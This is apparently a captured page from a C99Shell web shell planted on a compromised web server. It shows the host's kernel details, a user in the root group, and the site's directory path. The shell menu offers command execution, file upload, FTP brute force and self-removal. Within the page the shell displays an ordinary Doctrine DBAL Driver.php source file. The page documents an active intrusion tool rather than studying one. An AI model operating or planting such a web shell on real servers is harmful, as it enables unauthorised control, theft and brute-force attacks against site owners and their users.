!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/doctrine/dbal/src/Portability/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Driver.php (2.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\DBAL\Portability;

use 
Doctrine\DBAL\ColumnCase;
use 
Doctrine\DBAL\Driver as DriverInterface;
use 
Doctrine\DBAL\Driver\Middleware\AbstractDriverMiddleware;
use 
LogicException;
use 
PDO;
use 
SensitiveParameter;

use function 
method_exists;

final class 
Driver extends AbstractDriverMiddleware
{
    private 
int $mode;

    
/** @var 0|ColumnCase::LOWER|ColumnCase::UPPER */
    
private int $case;

    
/**
     * @param 0|ColumnCase::LOWER|ColumnCase::UPPER $case Determines how the column case will be treated.
     *                                                    0: The case will be left as is in the database.
     *                                                    {@see ColumnCase::LOWER}: The case will be lowercased.
     *                                                    {@see ColumnCase::UPPER}: The case will be uppercased.
     */
    
public function __construct(DriverInterface $driverint $modeint $case)
    {
        
parent::__construct($driver);

        
$this->mode $mode;
        
$this->case $case;
    }

    
/**
     * {@inheritDoc}
     */
    
public function connect(
        #[
SensitiveParameter]
        array 
$params
    
) {
        
$connection parent::connect($params);

        
$portability = (new OptimizeFlags())(
            
$this->getDatabasePlatform(),
            
$this->mode,
        );

        
$case null;

        if (
$this->case !== && ($portability Connection::PORTABILITY_FIX_CASE) !== 0) {
            
$nativeConnection null;
            if (
method_exists($connection'getNativeConnection')) {
                try {
                    
$nativeConnection $connection->getNativeConnection();
                } catch (
LogicException $e) {
                }
            }

            if (
$nativeConnection instanceof PDO) {
                
$portability &= ~Connection::PORTABILITY_FIX_CASE;
                
$nativeConnection->setAttribute(
                    
PDO::ATTR_CASE,
                    
$this->case === ColumnCase::LOWER PDO::CASE_LOWER PDO::CASE_UPPER,
                );
            } else {
                
$case $this->case === ColumnCase::LOWER Converter::CASE_LOWER Converter::CASE_UPPER;
            }
        }

        
$convertEmptyStringToNull = ($portability Connection::PORTABILITY_EMPTY_TO_NULL) !== 0;
        
$rightTrimString          = ($portability Connection::PORTABILITY_RTRIM) !== 0;

        if (! 
$convertEmptyStringToNull && ! $rightTrimString && $case === null) {
            return 
$connection;
        }

        return new 
Connection(
            
$connection,
            new 
Converter($convertEmptyStringToNull$rightTrimString$case),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--